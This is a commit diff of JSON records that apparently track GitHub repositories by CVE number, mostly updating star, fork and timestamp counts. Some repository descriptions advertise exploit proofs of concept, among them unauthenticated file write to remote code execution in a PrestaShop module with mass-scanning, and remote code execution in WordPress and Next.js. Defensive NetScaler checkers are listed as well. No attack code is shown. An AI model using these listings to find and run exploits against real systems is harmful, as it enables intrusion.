"description": "Passively fingerprint Citrix ADC \/ NetScaler ADC & Gateway builds and detect known CVEs — CVE-2023-3519, CitrixBleed 2\/3, CVE-2026-8452, and CVE-2026-88771\/88772 (KEV)",
"fork": false,
"created_at": "2023-07-20T16:05:07Z",
"updated_at": "2026-09-29T06:22:31Z",
"updated_at": "2026-09-29T13:24:36Z",
"pushed_at": "2026-09-28T15:14:37Z",
"stargazers_count": 88,
"watchers_count": 88,
"stargazers_count": 90,
"watchers_count": 90,
"has_discussions": false,
"forks_count": 14,
"allow_forking": true,
@@ -40,7 +40,7 @@
],
"visibility": "public",
"forks": 14,
"watchers": 88,
"watchers": 90,
"score": 0,
"subscribers_count": 1
},
2026/CVE-2026-85520.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1395470385,
"name": "CVE-2026-85520",
"full_name": "murrez\/CVE-2026-85520",
"owner": {
"login": "murrez",
"id": 50166320,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/50166320?v=4",
"html_url": "https:\/\/github.com\/murrez",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/murrez\/CVE-2026-85520",
"description": "CVE-2026-85520 PoC (PoCbit) — PrestaShop MyPresta gmfeed ≤2.3.9 unauthenticated arbitrary file write via feed.php (Save to file URL) → RCE. check + exploit + mass bulk (--list -j). https:\/\/pocbit.org\/pocs\/cve-2026-85520",
"fork": false,
"created_at": "2026-09-29T13:51:05Z",
"updated_at": "2026-09-29T13:52:17Z",
"pushed_at": "2026-09-29T13:51:50Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-85706.json
+4 -4
View File
@@ -455,10 +455,10 @@
"description": "GitLab Unauthenticated Arbitrary File Read",
"fork": false,
"created_at": "2026-09-28T04:47:10Z",
"updated_at": "2026-09-29T05:22:29Z",
"updated_at": "2026-09-29T07:48:45Z",
"pushed_at": "2026-09-28T06:48:58Z",
"stargazers_count": 19,
"watchers_count": 19,
"stargazers_count": 20,
"watchers_count": 20,
"has_discussions": false,
"forks_count": 4,
"allow_forking": true,
@@ -469,7 +469,7 @@
"topics": [],
"visibility": "public",
"forks": 4,
"watchers": 19,
"watchers": 20,
"score": 0,
"subscribers_count": 1
}
2026/CVE-2026-86950.json
+7 -7
View File
@@ -1,6 +1,6 @@
[
{
"id": 1393858627,
"id": 1394753318,
"name": "CVE-2026-86950-POC",
"full_name": "DeAurity\/CVE-2026-86950-POC",
"owner": {
@@ -13,11 +13,11 @@
"html_url": "https:\/\/github.com\/DeAurity\/CVE-2026-86950-POC",
"description": "Out-of-bounds Write (CWE-787)",
"fork": false,
"created_at": "2026-09-28T21:25:00Z",
"updated_at": "2026-09-28T21:25:05Z",
"pushed_at": "2026-09-28T21:25:02Z",
"stargazers_count": 0,
"watchers_count": 0,
"created_at": "2026-09-29T08:46:38Z",
"updated_at": "2026-09-29T13:12:35Z",
"pushed_at": "2026-09-29T09:00:19Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"watchers": 1,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-87902.json
+12 -12
View File
@@ -88,10 +88,10 @@
"description": "PoC for CVE-2026-87902 — unauthenticated path traversal in WordPress page-template resolution (local PHP inclusion, conditional RCE) with a pinned vulnerable lab",
"fork": false,
"created_at": "2026-09-22T18:40:26Z",
"updated_at": "2026-09-28T19:54:56Z",
"updated_at": "2026-09-29T09:27:35Z",
"pushed_at": "2026-09-22T19:36:48Z",
"stargazers_count": 37,
"watchers_count": 37,
"stargazers_count": 38,
"watchers_count": 38,
"has_discussions": false,
"forks_count": 8,
"allow_forking": true,
@@ -111,7 +111,7 @@
],
"visibility": "public",
"forks": 8,
"watchers": 37,
"watchers": 38,
"score": 0,
"subscribers_count": 1
},
@@ -262,10 +262,10 @@
"description": "WordPress Core <= 7.1.1 unauthenticated LFI to RCE - validation lab, PoC, nuclei template (GHSA-7hp8-65ch-5whp)",
"fork": false,
"created_at": "2026-09-23T11:54:00Z",
"updated_at": "2026-09-23T14:45:08Z",
"updated_at": "2026-09-29T11:44:39Z",
"pushed_at": "2026-09-23T12:21:41Z",
"stargazers_count": 1,
"watchers_count": 1,
"stargazers_count": 2,
"watchers_count": 2,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -276,7 +276,7 @@
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 1,
"watchers": 2,
"score": 0,
"subscribers_count": 0
},
@@ -526,10 +526,10 @@
"description": "Proof of concept for vulnerability CVE-2026-87902 in Wordpress",
"fork": false,
"created_at": "2026-09-25T00:56:30Z",
"updated_at": "2026-09-25T14:38:46Z",
"updated_at": "2026-09-29T11:53:23Z",
"pushed_at": "2026-09-25T14:31:42Z",
"stargazers_count": 0,
"watchers_count": 0,
"stargazers_count": 2,
"watchers_count": 2,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -540,7 +540,7 @@
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"watchers": 2,
"score": 0,
"subscribers_count": 0
},
2026/CVE-2026-88771.json
+14 -10
View File
@@ -14,12 +14,12 @@
"description": null,
"fork": false,
"created_at": "2026-09-27T18:15:38Z",
"updated_at": "2026-09-29T06:33:53Z",
"updated_at": "2026-09-29T11:58:34Z",
"pushed_at": "2026-09-28T09:28:56Z",
"stargazers_count": 15,
"watchers_count": 15,
"stargazers_count": 17,
"watchers_count": 17,
"has_discussions": false,
"forks_count": 4,
"forks_count": 5,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -27,8 +27,8 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 4,
"watchers": 15,
"forks": 5,
"watchers": 17,
"score": 0,
"subscribers_count": 0
},
@@ -110,11 +110,11 @@
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/ThomasPoppelgaard\/netscaler-ctx697096-checker",
"description": "Read-only checker for Citrix NetScaler ADC\/Gateway bulletin CTX697096 (CVE-2026-88771 – 88778): build, all 8 CVE preconditions, admin partitions, Enhanced ISN, upgrade risks, and optional community IoC checks. Not a replacement for Citrix's official IoC scan.",
"description": "Am I fixed? Was I hacked? Read-only checker for Citrix NetScaler CTX697096 (CVE-2026-88771 – CVE-2026-88778): build, all 8 CVE preconditions, Enhanced ISN, upgrade risks, plus --ioc sweep with every public IoC (webshells, exploit files, log injection, attacker IPs).",
"fork": false,
"created_at": "2026-09-28T11:20:30Z",
"updated_at": "2026-09-28T20:50:26Z",
"pushed_at": "2026-09-28T20:51:07Z",
"updated_at": "2026-09-29T10:01:31Z",
"pushed_at": "2026-09-29T10:01:26Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
@@ -136,9 +136,13 @@
"cve-2026-88776",
"cve-2026-88777",
"cve-2026-88778",
"incident-respons",
"incident-response",
"ioc",
"netscaler",
"netscaler-gateway"
"netscaler-gateway",
"threat-hunting",
"webshell"
],
"visibility": "public",
"forks": 0,
2026/CVE-2026-88772.json
+33
View File
@@ -1,4 +1,37 @@
[
{
"id": 1391262516,
"name": "watchTowr-vs-Citrix-Netscaler-CVE-2026-88772",
"full_name": "watchtowrlabs\/watchTowr-vs-Citrix-Netscaler-CVE-2026-88772",
"owner": {
"login": "watchtowrlabs",
"id": 99977116,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/99977116?v=4",
"html_url": "https:\/\/github.com\/watchtowrlabs",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/watchtowrlabs\/watchTowr-vs-Citrix-Netscaler-CVE-2026-88772",
"description": null,
"fork": false,
"created_at": "2026-09-27T18:15:55Z",
"updated_at": "2026-09-29T13:46:41Z",
"pushed_at": "2026-09-29T13:43:58Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1391375922,
"name": "CVE-2026-88772",
2026/CVE-2026-92701.json
+1 -1
View File
@@ -15,7 +15,7 @@
"fork": false,
"created_at": "2026-07-06T22:13:03Z",
"updated_at": "2026-09-28T09:48:13Z",
"pushed_at": "2026-09-29T03:17:27Z",
"pushed_at": "2026-09-29T08:24:31Z",
"stargazers_count": 3,
"watchers_count": 3,
"has_discussions": false,
2026/CVE-2026-93485.json
+2 -2
View File
@@ -137,7 +137,7 @@
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
"forks_count": 0,
"forks_count": 1,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -162,7 +162,7 @@
"xss"
],
"visibility": "public",
"forks": 0,
"forks": 1,
"watchers": 1,
"score": 0,
"subscribers_count": 0
2026/CVE-2026-94545.json
+33
View File
@@ -64,5 +64,38 @@
"watchers": 1,
"score": 0,
"subscribers_count": 0
},
{
"id": 1394670518,
"name": "CVE-2026-94545",
"full_name": "EQSTLab\/CVE-2026-94545",
"owner": {
"login": "EQSTLab",
"id": 148991397,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/148991397?v=4",
"html_url": "https:\/\/github.com\/EQSTLab",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/EQSTLab\/CVE-2026-94545",
"description": "Next.js RCE",
"fork": false,
"created_at": "2026-09-29T07:57:18Z",
"updated_at": "2026-09-29T12:19:37Z",
"pushed_at": "2026-09-29T08:12:51Z",
"stargazers_count": 4,
"watchers_count": 4,
"has_discussions": false,
"forks_count": 1,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 1,
"watchers": 4,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-9830.json
+4 -4
View File
@@ -47,10 +47,10 @@
"description": "CVE-2026-9830 Proof of Concept",
"fork": false,
"created_at": "2026-08-15T20:57:13Z",
"updated_at": "2026-09-24T11:28:53Z",
"updated_at": "2026-09-29T09:21:31Z",
"pushed_at": "2026-08-20T21:56:15Z",
"stargazers_count": 572,
"watchers_count": 572,
"stargazers_count": 557,
"watchers_count": 557,
"has_discussions": false,
"forks_count": 4,
"allow_forking": true,
@@ -72,7 +72,7 @@
],
"visibility": "public",
"forks": 4,
"watchers": 572,
"watchers": 557,
"score": 0,
"subscribers_count": 0
}